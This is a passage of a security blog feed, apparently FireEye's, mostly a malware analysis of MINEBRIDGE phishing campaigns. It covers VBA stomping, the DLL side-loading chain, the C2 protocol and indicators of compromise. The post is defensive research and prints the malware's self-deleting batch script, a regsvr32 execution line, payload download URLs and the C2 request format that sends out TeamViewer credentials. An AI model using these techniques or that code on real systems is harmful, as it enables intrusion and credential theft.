“eeclnt.exe”, we quickly identified a Windows Service, “Software Update”, created around the file creation timestamp that maintained persistence for the DUOBEAN backdoor. How did it get there? This can be one of the more challenging questions to answer in the investigative world. With limited data retention times and rolling log data, the initial vector is not always easily discerned. In this case, pivoting to look at browser history and file system modification around the time the DUOBEAN backdoor was created on the victim endpoint led us to our answers. Mandiant Redline output to detail the timeline of initial compromise is displayed in Figure 5. Figure 5: Mandiant Redline output containing the host initial compromise timeline The timeline of events shows that the user was phished from their personal Gmail, opening the password protected CHAINLNK attachment delivered from a OneDrive link embedded in the email. Malicious PowerShell commands observed from Windows Event Logs contained in Figure 6 following the activity indicate that CHAINLNK successfully executed and downloaded DUOBEAN. Figure 6: Malicious CHAINLNK PowerShell commands observed in Windows Event Logs No further activity was identified from this host based on the investigative evidence provided, and Managed Defense continued to scope the environment for additional indicators of compromise. This specific threat actor was detected early in the attack lifecycle which limited the impact of the threat actor and enabled Managed Defense to guide the victim organization through a quick remediation. Summary The China-nexus threat actor activity detailed above expanded to multiple customers, and eventually escalated to a Managed Defense Community Protection Event (CPE). CPEs are rapidly progressing campaigns targeting multiple customers with substantial potential for business impact. Managed Defense customers are immediately notified of CPE activity, indicators are deployed to monitor customer products, and the Managed Defense Consulting team provides insight on how to mitigate risk. Regardless of the scale of your investigation, time is of the essence. Drowning under investigative data without a clear line of questioning buys attackers additional time to impose their agenda on your organization. Remember, products and intelligence are components of your security practice, but expertise is required in order to transform those inputs into an effective response.

  • STOMP 2 DIS: Brilliance in the (Visual) Basics
    by Rick Cole on February 5, 2020 at 2:15 pm

    Throughout January 2020, FireEye has continued to observe multiple targeted phishing campaigns designed to download and deploy a backdoor we track as MINEBRIDGE. The campaigns primarily targeted financial services organizations in the United States, though targeting is likely more widespread than those we’ve initially observed in our FireEye product telemetry. At least one campaign targeted South Korean organizations, including a marketing agency. In these campaigns, the phishing documents appeared to be carefully crafted and leveraged some publicly-documented — but in our experience uncommon and misunderstood — TTPs, likely in an effort to decrease detection of the malicious documents’ macros. The actor also used a self-hosted email marketing solution across multiple campaigns. Notably, the payload delivered in these campaigns leveraged a packer previously affiliated with a commonly-tracked threat actor, an overlap that we will explore later. This blog post will review the theme of these campaigns and their targets, the adversary’s unique tradecraft, the MINEBRIDGE C++ backdoor, some potential attribution overlaps, and importantly — the threat actor’s love of rap music. Targeting and Lure Detail While we first identified MINEBRIDGE samples in December, we observed our first phishing campaigns relating to this activity in early January 2020. Email addresses used to send phishing messages were associated with domains that appear to have been registered specifically for this purpose within a few weeks of the activity — and were thematically consistent with the content of the phishing messages. Additionally, the actor(s) responsible are likely using a self-hosted email marketing solution called Acelle. Acelle adds extended email headers to messages sent via the platform in the format of X-Acelle-<variable>. The messages observed across campaigns using these TTPs have included a “Customer-Id” value matching “X-Acelle-Customer-Id: 5df38b8fd5b58”. While that field remained consistent across all observed campaigns, individual campaigns also shared overlapping “X-Acelle-Sending-Server_Id” and “X-Acelle-Campaign-Id” values. All of the messages also included a “List-Unsubscribe” header offering a link hosted at 45.153.184.84 suggesting that it is the server hosting the Acelle instance used across these campaigns. The sample table for one campaign below illustrates this data: Timestamp Sender Subject x-acelle-subscriber-id x-acelle-sending-server-id x-acelle-customer-id x-acelle-campaign-id 1/7/20 16:15 [email protected] tax return file 25474792e6f8c 5e14a2664ffb4 5df38b8fd5b58 5e14a2664ffb4 1/7/20 15:59 [email protected] tax return file 22e183805a051 5e14a2664ffb4 5df38b8fd5b58 5e14a2664ffb4 1/7/20 [email protected] tax return file 657e1a485ed77 5e14a2664ffb4 5df38b8fd5b58 5e14a2664ffb4 1/7/20 16:05 [email protected] tax return file ddbbffbcb5c6c 5e14a2664ffb4 5df38b8fd5b58 5e14a2664ffb4 The URLs requested by the malicious documents and serving the final MINEBRIDGE payloads delivered in each of these campaigns provide additional overlap across campaigns. In all observed cases, the domains used the same bullet-proof hosting service. The URI used to download the final payload was “/team/invest.php” or, in one case, “/team/rumba.php”. Perhaps the most fun overlap, however, was discovered when trying to identify additional artifacts of interest hosted at similar locations. In most cases a GET request to the parent directory of “/team/” on each of the identified domains served up the lyrics to rap group Onyx’s “Bang 2 Dis” masterpiece. We will refrain from sharing the specific verse hosted due to explicit content. One of the more notable characteristics of this activity was the consistency in themes used for domain registration, lure content, similarities in malicious document macro content, and targeting. Since first seeing these emails, we’ve identified at least 3 distinct campaigns. Campaign #1: January 7, 2020 – Tax Theme Emails associated with this campaign used the CPA themed domain rogervecpa.com registered in late November and the subject line “Tax Return File” with IRS related text in the message body. The attached payload was crafted to look like an H&R Block related tax form. Observed targeting included the financial sector exclusively. Campaign #2: January 8, 2020 – Marketing Theme Emails associated with this campaign used the same CPA themed domain rogervecpa.com along with pt-cpaaccountant.com, also registered late November. The subject line and message body offered a marketing partnership opportunity to the victim. The attached payload used a generic theme enticing users to enable macro content. Observed targeting focused on a South Korean marketing agency. Campaign #3: January 28, 2020 – Recruiting Theme Emails associated with this campaign were sent from several different email addresses, though all used the recruiting-themed domain agent4career.com which was registered on January 20, 2020. The subject line and message body referenced an employment candidate with experience in the financial sector. The attached payload masqueraded as the resume of the same financial services candidate referenced in the phishing email. Observed targeting included the financial sector exclusively. Quit Stepping All Over My Macros The phishing documents themselves leverage numerous interesting TTPs including hiding macros from the Office GUI, and VBA stomping. VBA stomping is a colloquial term applied to the manipulation of Office documents where the source code of a macro is made to mismatch the pseudo-code (hereto referred to as “p-code”) of the document. In order to avoid duplicating research and wasting the reader’s time, we will instead reference the impressive work of our predecessors and peers in the industry. As an introduction to the concept, we first recommend reading the tool release blog post for EvilClippy from Outflank. The security team at Walmart has also published incredible research on the methodology. Vesselin Bontchev provides a useful open source utility for dumping the p-code from an Office document in pcodedmp. This tool can be leveraged to inspect the p-code of a document separate from its VBA source. It was adopted by the wider open source analysis toolkit oletools in order to detect the presence of stomping via comparison of p-code mnemonics vs keyword extraction in VBA source. That is a whole lot of quality reading for those interested. For the sake of brevity, the most important result of VBA stomping as relevant to this blog post is the following: Static analysis tools focusing on VBA macro source extraction may be fooled into a benign assessment of a document bearing malicious p-code. When VBA source is removed, and a document is opened in a version of Office for which the p-code was not compiled to execute, a macro will not execute correctly, resulting in potential failed dynamic analysis. When a document is opened under a version of Office that uses a VBA version that does not match the version of Office used to create the document, VBA source code is recompiled back into p-code. When a document is opened in Office and the GUI is used to view the macro, the embedded p-code is decompiled to be viewed. The final two points identify some interesting complications in regard to leveraging this methodology more broadly. Versioning complexities arise that toolkits like EvilClippy leverage Office version enumeration features to address. An actor’s VBA stomped document containing benign VBA source but evil p-code must know the version of Office to build the p-code for, or their sample will not detonate properly. Additionally, if an actor sends a stomped document, and a user or researcher opens the macro in the Office editor, they will see malicious code. Our actor addressed the latter point of this complication by leveraging what we assess to be another feature of the EvilClippy utility, wherein viewing the macro source is made inaccessible to a user within Office by modifying the PROJECT stream of the document. Let’s highlight this below using a publicly available sample we attribute to our actors (SHA256: 18698c5a6ff96d21e7ca634a608f01a414ef6fbbd7c1b3bf0f2085c85374516e): Document PROJECT stream: ID=”{33C06E73-23C4-4174-9F9A-BA0E40E57E3F}” Document=ThisDocument/&H00000000 Name=”Project” HelpContextID=”0″ VersionCompatible32=”393222000″ CMG=”A3A1799F59A359A359A359A3″ DPB=”87855DBBA57B887C887C88″ GC=”6B69B1A794A894A86B” [Host Extender Info] &H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000 [Workspace] ThisDocument=0, 0, 0, 0, C Module1=26, 26, 388, 131, Z The above PROJECT stream has been modified. Within the PROJECT stream workspace, a module is referenced. However, there is no module defined. We would expect the unmodified PROJECT stream of this document prior to utilization of a tool to modify it to be as follows: ID=”{33C06E73-23C4-4174-9F9A-BA0E40E57E3F}” Document=ThisDocument/&H00000000Module=”Module1”Name=”Project” HelpContextID=”0″ VersionCompatible32=”393222000″ CMG=”A3A1799F59A359A359A359A3″ DPB=”87855DBBA57B887C887C88″ GC=”6B69B1A794A894A86B” [Host Extender Info] &H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000 [Workspace] ThisDocument=0, 0, 0, 0, C Module1=26, 26, 388, 131, Z It is interesting to note that we initially identified this actor only performing this manipulation on their malicious documents—avoiding any versioning complexities–without actually stomping the p-code to mismatch the VBA source. This seems like an odd decision and is possibly indicative of an actor assessing what “works” for their campaigns. The above malicious document is an example of them leveraging both methodologies, as highlighted by this screenshot from the awesome publicly available web service IRIS-H Digital Forensics: We can see that the documents VBA source is a blank Sub procedure definition. A quick glance at the p-code identifies both network- based indicators and host- based indicators we can use to determine what this sample would do when executed on the proper Office version. When we attempt to open the macro in the GUI editor, Office gets angry: For analysts looking to identify this methodology holistically, we recommend the following considerations: The GUI hiding functionality results in an altered project stream wherein a module exists, but there is no module, class, or baseclass defined in the stream. This is a potential static detection. While the macro source is no longer present, there are still static strings present in Module1 in this sample which may indicate Windows APIs leveraged. This is a potential static detection. Utilities like the previously mentioned oletools can do all of this detection for you. If you identify false negatives, false positives, or bugs, the open source project maintainers respond to them regularly like the superheroes that they are: The above methodology creates questions regarding potential efficiency problems for scaling any sizable campaign using it. While tools like EvilClippy provide the means to create difficult to detect malicious documents that can potentially sneak past some dynamic and static detections, their payloads have the additional burden of needing to fingerprint targets to enable successful execution. While actors with sufficient resources and creativity can no doubt account for these requirements, it is relevant to note that detections for these methodologies will likely yield more targeted activity. In fact, tertiary review of samples employing these techniques identified unrelated activity delivering both Cobalt Strike BEACON and POSHC2 payloads. We recently expanded our internal FireEye threat behavior tree to accommodate these techniques. At the time of publication, the authors were unable to directly map the methods – PROJECT stream manipulation and VBA stomping – to existing techniques in the MITRE ATT&CK Matrix™ for Enterprise. However, our team submitted these as contributions to the ATT&CK knowledge base prior to publication and will make additional data available for ATT&CK Sightings. Crossing The Bridge of Khazad-dûm: The MINEBRIDGE Infection Chain Successful detonation of the previously detailed malicious document results in creation of “uCWOncHvBb.dll” via a call to URLDownloadToFileA to the URL hxxps://marendoger[.]com/team/rumba.php. The returned MINEDOOR packed MINEBRIDGE sample is saved in the executing users AppData directory (Eg: C:\Users\username\AppData\Roaming\uCWOncHvBb.dll), and then subsequent execution of the DllRegisterServer export via invocation of “regsvr32.exe /s %AppData%\uCWOncHvBb.dll” occurs: This will result in a ZIP file being retrieved from the URL hxxps://creatorz123[.]top/~files_tv/~all_files_m.bin using the Windows API URLDownloadToFileW. The ZIP file is written to %TEMP%, unzipped to the newly created directory %AppData%\Windows Media Player, and then deleted: The ZIP file contains legitimate files required to execute a copy of TeamViewer, listed in the file creation area of the IOC section of this post. When a file named TeamViewer.exe is identified while unzipping, it is renamed to wpvnetwks.exe: After completing these tasks, uCWOncHvBb.dll moves itself to %AppData%\Windows Media Player\msi.dll. The phishing macro then closes the handle to msi.dll, and calls CreateProcessA on wpvnetwks.exe, which results in the renamed TeamViewer instance side-loading the malicious msi.dll located alongside it. The malware ensures its persistence through reboot by creating a link file at %CISDL_STARTUP%\Windows WMI.lnk, which points to %AppData%\Windows Media Player\wpnetwks.exe, resulting in its launch at user logon. The end result is a legitimate, though outdated (version 11, compiled on September 17, 2018, at 10:30:12 UTC), TeamViewer instance hijacked by a malicious sideloaded DLL (MINEBRIDGE). MINEBRIDGE is a 32-bit C++ backdoor designed to be loaded by an older, unpatched instance of the legitimate remote desktop software TeamViewer by DLL load-order hijacking. The backdoor hooks Windows APIs to prevent the victim from seeing the TeamViewer application. By default, MINEBRIDGE conducts command and control (C2) communication via HTTPS POST requests to hard-coded C2 domains. The POST requests contain a GUID derived from the system’s volume serial number, a TeamViewer unique id and password, username, computer name, operating system version, and beacon interval. MINEBRIDGE can also communicate with a C2 server by sending TeamViewer chat messages using a custom window procedure hook. Collectively, the two C2 methods support commands for downloading and executing payloads, downloading arbitrary files, self-deletion and updating, process listing, shutting down and rebooting the system, executing arbitrary shell commands, process elevation, turning on/off TeamViewer’s microphone, and gathering system UAC information. MINEBRIDGE’s default method of communication is sending HTTPS POST requests over TCP port 443. This method of communication is always active; however, the beacon-interval time may be changed via a command. Before sending any C2 beacons, the sample waits to collect the TeamViewer generated unique id (<tv_id>) and password (<tv_pass>) via SetWindowsTextW hooks. This specific sample continuously sends an HTTP POST request over TCP port 443 with the URI ~f83g7bfiunwjsd1/g4t3_indata.php to each host listed below until a response is received. 123faster[.]top conversia91[.]top fatoftheland[.]top creatorz123[.]top compilator333[.]top The POST body contains the formatted string uuid=<guid>&id=<tv_id>&pass=<tv_pass>&username=<user_name>&pcname=<comp_name>&osver=<os_version>&timeout=<beacon_interval> where <guid> is a GUID derived from the system’s volume serial number and formatted using the format string %06lX-%04lX-%04lX-%06lX. Additionally, the request uses the hard-coded HTTP User-Agent string “Mozilla/5.0 (iPhone; CPU iPhone OS 11_1_1 like Mac OS X) AppleWebKit/604.3.5 (KHTML, like Gecko) Version/11.0 Mobile/15B150 Safari/604.1” After a response is received, it’s processed for commands. A single response may contain multiple commands. For each command executed, the sample sends an HTTPS POST request over TCP port 443 indicating success or failure. The sample responds to the commands below. Command Description drun Download and execute an executable from a URL provided in the command. File saved to %TEMP%\<32_rand_chars>.exe. rundll_command Download a custom XOR-encoded and LZNT1 compressed DLL from a URL provided in the command and save to %TEMP%\<32_rand_chars>. Decode, decompress, and load the DLL in memory and call its entrypoint. update_command Move sample file to <sample_name>.old and download a new version of itself to <sample_name> where <sample_name> is the name of this sample (i.e., msi.dll). Relaunch the hosting TeamViewer application with command-line argument COM1_. Delete <sample_name>.old. restart_command Relaunch the hosting TeamViewer application with command-line argument COM1_. terminate_command Terminate the hosting TeamViewer application. kill_command Create and execute the self-deleting batch script tvdll.cmd to delete all unzipped files as well as the sample file. Terminate the hosting TeamViewer application. poweroff_command Shutdown the system. reboot_command Reboot the system. setinterval_command Update the C2 beacon-interval time. After executing all commands in the response, the sample sleeps for the designated C2 beacon-interval time. It repeats the process outlined above to send the next C2 beacon. This behavior repeats indefinitely. The self-deleting batch script tvdll.cmd contains the following content where <renamed_TeamVeiwer> is the renamed TeamViewer executable (i.e., wpvnetwks.exe) and <sample_name> is the name of this sample (i.e., msi.dll). @echo off ping 1.1.1.1 -n 1 -w 5000 > nul goto nosleep1 :redel1 ping 1.1.1.1 -n 1 -w 750 > nul :nosleep1 attrib -a -h -s -r %~d0%~p0TeamViewer_Resource_en.dll del /f /q %~d0%~p0TeamViewer_Resource_en.dllif exist  “%~d0%~p0TeamViewer_Resource_en.dll” goto redel1 goto nosleep2 :redel2 ping 1.1.1.1 -n 1 -w 750 > nul :nosleep2 attrib -a -h -s -r %~d0%~p0TeamViewer_StaticRes.dll del /f /q %~d0%~p0TeamViewer_StaticRes.dllif exist  “%~d0%~p0TeamViewer_StaticRes.dll” goto redel2 goto nosleep3 :redel3 ping 1.1.1.1 -n 1 -w 750 > nul :nosleep3 attrib -a -h -s -r %~d0%~p0TeamViewer_Desktop.exe del /f /q %~d0%~p0TeamViewer_Desktop.exeif exist  “%~d0%~p0TeamViewer_Desktop.exe” goto redel3 goto nosleep4 :redel4 ping 1.1.1.1 -n 1 -w 750 > nul :nosleep4 attrib -a -h -s -r %~d0%~p0TeamViewer.ini del /f /q %~d0%~p0TeamViewer.iniif exist  “%~d0%~p0TeamViewer.ini” goto redel4 goto nosleep5 :redel5 ping 1.1.1.1 -n 1 -w 750 > nul :nosleep5 attrib -a -h -s -r %~d0%~p0<sample_name> del /f /q %~d0%~p0<sample_name>if exist  “%~d0%~p0<sample_name>” goto redel5 goto nosleep6 :redel6 ping 1.1.1.1 -n 1 -w 750 > nul :nosleep6 attrib -a -h -s -r %~d0%~p0<renamed_TeamVeiwer> del /f /q %~d0%~p0<renamed_TeamVeiwer>if exist  “%~d0%~p0<renamed_TeamViewer>” goto redel6 attrib -a -h -s -r %0 del /f /q %0 Possible Connection to Another Intrusion Set The identified MINEBRIDGE samples have been packed within a loader we call MINEDOOR. Since Fall 2019, we’ve observed a group publicly tracked as TA505 conducting phishing campaigns that use MINEDOOR to deliver the FRIENDSPEAK backdoor. The combination of MINEDOOR and FRIENDSPEAK has also been publicly discussed using the name Get2. The limited overlap in tactics, techniques, and procedures (TTPs) between campaigns delivering MINEBRIDGE and those delivering FRIENDSPEAK may suggest that MINEDOOR is not exclusive to TA505. Recent campaigns delivering FRIENDSPEAK have appeared to use spoofed sender addresses, Excel spreadsheets with embedded payloads, and campaign-specific domains that masquerade as common technology services. Meanwhile, the campaigns delivering MINEBRIDGE have used actor-controlled email addresses, malicious Word documents that download payloads from a remote server, and domains with a variety of themes sometimes registered weeks in advance of the campaign. The campaigns delivering MINEBRIDGE also appear to be significantly smaller in both volume and scope than the campaigns delivering FRIENDSPEAK. Finally, we observed campaigns delivering MINEBRIDGE on Eastern Orthodox Christmas when Russian-speaking actors are commonly inactive; we did not observe campaigns delivering FRIENDSPEAK during the week surrounding the holiday and language resources in the malware may suggest TA505 actors speak Russian. It is plausible that these campaigns represent a subset of TA505 activity. For example, they may be operations conducted on behalf of a specific client or by a specific member of the broader threat group. Both sets of campaigns used domains that were registered with Eranet and had the registrant location “JL, US” or “Fujian, CN,” however this overlap is less notable because we suspect that TA505 has used domains registered by a service that reuses registrant information. Post-compromise activity would likely reveal if these campaigns were conducted by TA505 or a second threat group, however, FireEye has not yet observed any instances in which a host has been successfully compromised by MINEBRIDGE. As such, FireEye currently clusters this activity separately from what the public tracks as TA505. Acknowledgments FireEye would like to thank all the dedicated authors of open source tooling and research referenced in this blog post. Further, FireEye would like to thank TeamViewer for their collaboration with us on this matter. The insecure DLL loading highlighted in this blog post was resolved in TeamViewer 11.0.214397, released on October 22, 2019, prior to the TeamViewer team receiving any information from FireEye. Additionally, TeamViewer is working to add further mitigations for the malware’s functionality. FireEye will update this post with further data from TeamViewer when this becomes available. Indicators of Compromise (IOCs) Suspicious Behaviors Process lineage: Microsoft Word launching TeamViewer Directory Creation: %APPDATA%\Windows Media Player File Creation:%APPDATA%\Windows Media Player\msi.dll %APPDATA%\Windows Media Player\msi.dll.old %APPDATA%\Windows Media Player\tvdll.cmd %APPDATA%\Windows Media Player\wpvnetwks.exe %APPDATA%\Windows Media Player\TeamViewer_Resource_en.dll %APPDATA%\Windows Media Player\TeamViewer_StaticRes.dll %APPDATA%\Windows Media Player\TeamViewer_Desktop.exe %APPDATA%\Windows Media Player\TeamViewer.ini %CSIDL_STARTUP%\Windows WMI.lnk %CSIDL_PROFILE%\<dll_name>.xpdf %TEMP%\<32 random characters> %TEMP%\<32 random characters>.exe %TEMP%\~8426bcrtv7bdf.bin Network Activity:HTTPS Post requests to C2 URLs User-Agent String: “Mozilla/5.0 (iPhone; CPU iPhone OS 11_1_1 like Mac OS X) AppleWebKit/604.3.5 (KHTML, like Gecko) Version/11.0 Mobile/15B150 Safari/604.1” C2 Domains 123faster[.]top conversia91[.]top fatoftheland[.]top creatorz123[.]top compilator333[.]top Download Domains neurogon[.]com tiparcano[.]com seigortan[.]com marendoger[.]com badiconreg[.]com Sender Domains pt-cpaaccountant[.]com rogervecpa[.]com agent4career[.]com bestrecruitments[.]com Phishing Documents MD5 SHA256 01067c8e41dae72ce39b28d85bf923ee 80e48391ed32e6c1ca13079d900d3afad62e05c08bd6e929dffdd2e3b9f69299 1601137b84d9bebf21dcfb9ad1eaa69d 3f121c714f18dfb59074cbb665ff9e7f36b2b372cfe6d58a2a8fb1a34dd71952 1c883a997cbf2a656869f6e69ffbd027 de7c7a962e78ceeee0d8359197daeb2c3ca5484dc7cf0d8663fb32003068c655 2ed49bd499c9962e115a66665a6944f6 b8f64a83ad770add6919d243222c62471600e64789264d116c560b7c574669ec 3b948368fe1a296f5ed18b11194ce51c 999d4f434bbc5d355656cc2a05982d61d6770a4c3c837dd8ec6aff8437ae405a 4148281424ff3e85b215cd867746b20c 9812123d2367b952e68fa09bd3d1b3b3db81f0d3e2b3c03a53c21f12f1f4c889 54f22fbc84f4d060fcbf23534a02e5f6 7b20e7e4e0b1c0e41de72c75b1866866a8f61df5a8af0ebf6e8dbd8f4e7bdc57 5a3d8348f04345f6687552e6b7469ac1 77a33d9a4610c4b794a61c79c93e2be87886d27402968310d93988dfd32a2ccf 607d28ae6cf2adb87fcb7eac9f9e09ab f3917832c68ed3f877df4cd01635b1c14a9c7e217c93150bebf9302223f52065 9ba3275ac0e65b9cd4d5afa0adf401b4 18698c5a6ff96d21e7ca634a608f01a414ef6fbbd7c1b3bf0f2085c85374516e 9becd2fd73aa4b36ad9cd0c95297d40b 30025da34f6f311efe6b7b2c3fe334f934f3f6e6024e4d95e8c808c18eb6de03 9cce3c9516f0f15ce18f37d707931775 bf0adb30ca230eee6401861e1669b9cfeaa64122cc29c5294c2198f2d82f760e 9faf9e0c5945876c8bad3c121c91ea15 88c4019e66564ad8c15b189b903276910f9d828d5e180cac30f1f341647278fc a37e6eeb06729b6108649f21064b16ef e895dc605c6dcaf2c3173b5ec1a74a24390c4c274571d6e17b55955c9bd48799 ab8dc4ba75aad317abb8ee38c8928db0 212793a915bdd75bede8a744cd99123e2a5ac70825d7b2e1fc27104276a3aafd b8817253288b395cb33ffe36e0072dc9 ba013420bd2306ecb9be8901db905b4696d93b9674bd7b10b4d0ef6f52fbd069 cb5e5d29f844eb22fecaa45763750c27 4ff9bfde5b5d3614e6aa753cacc68d26c12601b88e61e03e4727ee6d9fe3cdc2 cffda37453e1a1389840ed6ebaef1b0d c9f6ba5368760bf384399c9fd6b4f33185e7d0b6ea258909d7516f41a0821056 dc0e1e4ec757a777a4d4cc92a8d9ef33 ac7e622e0d1d518f1b002d514c348a60f7a7e7885192e28626808a7b9228eab6 e5c7e82670372e3cf8e8cab2c1e6bc17 eba3c07155c47a47ee4d9b5201f47a9473255f4d7a6590b5c4e7b6e9fc533c08 f93062f6271f20649e61a09c501c6c92 3f4f546fba4f1e2ee4b32193abcaaa207efe8a767580ab92e546d75a7e978a0b MINEBRIDGE/MINEDOOR Samples MD5 SHA256 05432fc4145d56030f6dd6259020d16c 182ccc7f2d703ad732ffee0e1d9ae4ae5cf6b8817cc33fd44f203d31868b1e97 0be9911c5be7e6dfeaeca0a7277d432b 65ead629a55e953b31668aac3bd373e229c45eb1871d8466f278f39ebcd5d26b 0dd556bf03ecb42bf87d5ea7ce8efafe 48f6810e50d08c2631f63aae307a7724dba830430f5edd4b90b4b6a5b3c3ca85 15edac65d5b5ed6c27a8ac983d5b97f6 03ff2b3067aa73ecd8830b6b0ea4f7cfa1c7476452b26227fb433265e7206525 1e9c836f997ddcbd13de35a0264cf9f1 23da418912119a1358c9a1a4671ba60c396fff4c4de225fe6a225330147549a7 21aa1066f102324ccc4697193be83741 86d839e1d741445f194965eee60d18bd292bec73e4889089e6caf9877581db12 22b7ddf4983d6e6d84a4978f96bc2a82 fc39cb08cae90c661e00718e2a0051b5de3dcb7cddde919b9ffd2d79bf923d1f 2333fbadeea558e57ac15e51d55b041c 57671d5154e707da0ee6139485f45a50fa9221852ebb65781d45a2660da7d0cb 2b9961f31e0015cbcb276d43b05e4434 e41b89869c2b510c88acd1ed9fd4a6dfe89222a81c6c1241a69af3b7f812f712 2c3cb2132951b63036124dec06fd84a8 b6dbb902125e7bf6f6701b654cbff4abaf2e853441cf34045ac19eff5ed8ce84 4de9d6073a63a26180a5d8dcaffb9e81 7b1d4774176976ffcb2075889557f91a43c05fb13f3bc262bbaec4d7a0a827e6 505ff4b9ef2b619305d7973869cd1d2b abb05ba50f45742025dd4ebff2310325783da00fb7bc885783e60a88c5157268 52d6654fe3ac78661689237a149a710b d6a0e62fe53116c9b5bccd2a584381e2ca86e35490d809ce1900603d5e6b53eb 53e044cd7cea2a6239d8411b8befb4b7 6e76d648d446e6a70acdd491f04c52d17f9f0e1ef34890c6628c4f48725b47c8 5624c985228288c73317f2fa1be66f32 99559a5f06b0279ed893d2799b735dae450a620f6cea2ea58426d8b67d598add 598940779363d9f4203fbfe158d6829b 1358b0ccae9dbb493228dc94eb5722c8d34c12227a438766be83df8c1c92a621 60bdea2c493c812428a8db21b29dd402 383c86deed8797e0915acf3e0c1b6a4142c2c5ecb5d482517ed2ade4df6f36fd 681a77eba0734c0a17b02a81564ae73f 0aaa66dc983179bffdb181079f3b786b6cd587c38c67ba68b560db0bd873278a 6b7d9268c7000c651473f33d088a16bd 6e39ffecab4ca0bd7835a2e773ebfc3f6d909a0a680f898e55f85ed00728666d 6d6f50f7bba4ae0225e9754e9053edc0 ddf33eff293ffc268dfd0a33dddef97aefe9e010ec869dc22c221d197eb85740 6de77c1b4e8abaaf304b43162252f022 8f50ddc1519e587597882a6bd0667653c36a8064b56ee5ff77665db2faf24710 7004fadfa572d77e24b33d2458f023d1 cccd6b46f950caec5effdd07af339be78691974fec5f25d923932b35edb95c4a 71988460fd87b6bff8e8fc0f442c934b 8167d41ad30f5d451791878815e479965b2f5213231f26819ecaf4fcc774ab12 722981703148fa78d41abbae8857f7a2 a3070ee10dd5bcd65a45b72848c926db2602e5297641452edff66e7133cdce9c 818f7af373d1ec865d6c1b7f59dc89e5 cbe4b73c0c95c207ccde9d9bd80f541cf90cad18ba5abc3fe66a811ead1601c2 832052b0f806f44b92f6ef150573af81 e162a70a6e27fe23379d3a17a3a727d85a94b79416d81ec3b4ea80d329e96830 836125ae2bed57be93a93d18e0c600e8 0fbde653bef4642626f2996a41a15a635eb52cd31eacce133d28301b902d67df 86d60bce47c9bb6017e3da26cab50dcf 6c134908ad74dfa1468a1166e7d9244695f1ffeff68bfd4eec4b35820b542b8a 8919458aec3dcc90563579a76835fc54 aad0537924bacddd0d5872f934723e765dbb182f2804c6f594f9b051937495ec 8d7e220af48fceee515eb5e56579a709 3eefa7072344e044c0a6abb0030f3f26065bf6a86bb50ea38473dd7ac73904fb 91b8ec04d8b96b90ea406c7b98cc0ad6 0520e68a4b73c3b41e566cf07be54e1f1cb59c59c303fe3390e0687f9af1a58a 959eb0696c199cbf60ec8f12fcf0ea3c ccb5f8734befd6ab218513e16a57679a8fb43b2732e19233ee920d379045e318 95ec5e8d87111f7f6b2585992e460b52 3f8e38ccf71f122b65fdc679db13e3de3bb4b4fc04b8ab6f955d02e0bca10fae 9606cf0f12d6a00716984b5b4fa49d7d f4f062fd7b98365ed6db993b1da586dd43e5cdcc2f00a257086734daf88c9abb 9f7fed305c6638d0854de0f4563abd62 6c5f72ddf0262838a921107520cdc12ba8e48dbafab4a66732a350095dd48e9f a11c0b9f3e7fedfe52b1fc0fc2d4f6d1 d35ac29ea6e064b13d56f6a534022f253cf76b98e10a7ea1cbfa086eefd64f4b a47915a2684063003f09770ba92ccef2 7b16ce0d2443b2799e36e18f60fe0603df4383b1a392b0549c3f28159b1ca4d4 a917b2ec0ac08b5cde3678487971232a 8578bff803098bf5ca0d752d0a81f07659688a32cbfc946728e5ab0403f5c4ba ad06205879edab65ed99ed7ff796bd09 d560f8717f4117d011f40c8880081d02d1455a41c93792e1600799d3e5ee9421 ad910001cb57e84148ef014abc61fa73 c9a6f7b0603779690c1d189850403f86608a3c5e1cd91e76fd31c4f119ae256b b1ce55fca928cf66eaa9407246399d2c c6214ec7909ce61d6ec3f46f5a7ec595d8cc8db48965c5baee8a346632cbe16d b9249e9f1a92e6b3359c35a8f2a1e804 0695e5e49a297c980b96f76bf10e5540de188d6a6a162e38f475418d72a50032 bd6880fb97faceecf193a745655d4301 23840c587e4e9588b3d0795d4d76a4f3d4d5b2e665ce42dde0abcd1e0a2ba254 be2597a842a7603d7eb990a2135dab5e 6288d3de1f1aa05fa0a5f0c8eb9880d077f034fc79fc20f87cbfcc522aa803cb cf5470bfe947739e0b4527d8adb8486a 6357fdb8f62948d489080b61caf135e6aaba32dcdb7dc49b0efafef178b3b54f d593b7847ec5d18a7dba6c7b98d9aebf 5df3a6afb1a56fa076c6db716d5a050455158941ec962546a8799fc80ccfa573 d7ee4ffce21325dfe013b6764d0f8986 92e94482dee75261c8ebdcbb7ace382a097cca11bcdc675bbe2d7b3f67525f84 de4d7796006359d60c97a6e4977e4936 ee8ba1c5329d928d542bfa06eec2c0a3e3b97dcc20382ddbc27bc420ceaeb677 e0069cd3b5548f9fd8811adf4b24bf2e 6046d6aed3f4ee2564d6be540d46bcdc0bebce11a1ced4b9ddbfa1a41084411c e1ea93fa74d160c67a9ff748e5254fe0 92c10ef23209e09abb17e41d67301f0e3f7d9e7ddfc7c1a66140c4986d72bee7 ea15d7944c29f944814be14b25c2c2b1 5898b41ca4f4777ad04d687f93548129ccb626d2f5e6e100b0a037c3d40a7444 f22a4abd5217fa01b56d064248ce0cc5 858b4070f8b83aa43fd6a5189a8ed226ce767a64972db893e36550a25b20be94 f3cb175e725af7f94533ecc3ff62fa12 5a5385df469459cd56f6eecbf4b41b8c75aa17220c773501eaec22731f3a41bb f6533e09a334b9f28136711ea8e9afca 9136c36ccd0be71725e8720a6cfdbdd38d7eea3998228c69ed4b52e78ba979c4 f7daaea04b7fe4251b6b8dabb832ee3a 6abd90d718113482a5bcd36e35b4ea32c469f94fc2cfb9c1c98214efbf64c352 fb1555210d04286c7bcb73ca57e8e430 36da56815dc0c274fc8aacdfffbc4d5e500025ccd1147cad513d59b69ab9557d  

  • Abusing DLL Misconfigurations — Using Threat Intelligence to Weaponize R&D
    by Evan Pena on January 31, 2020 at 4:45 pm

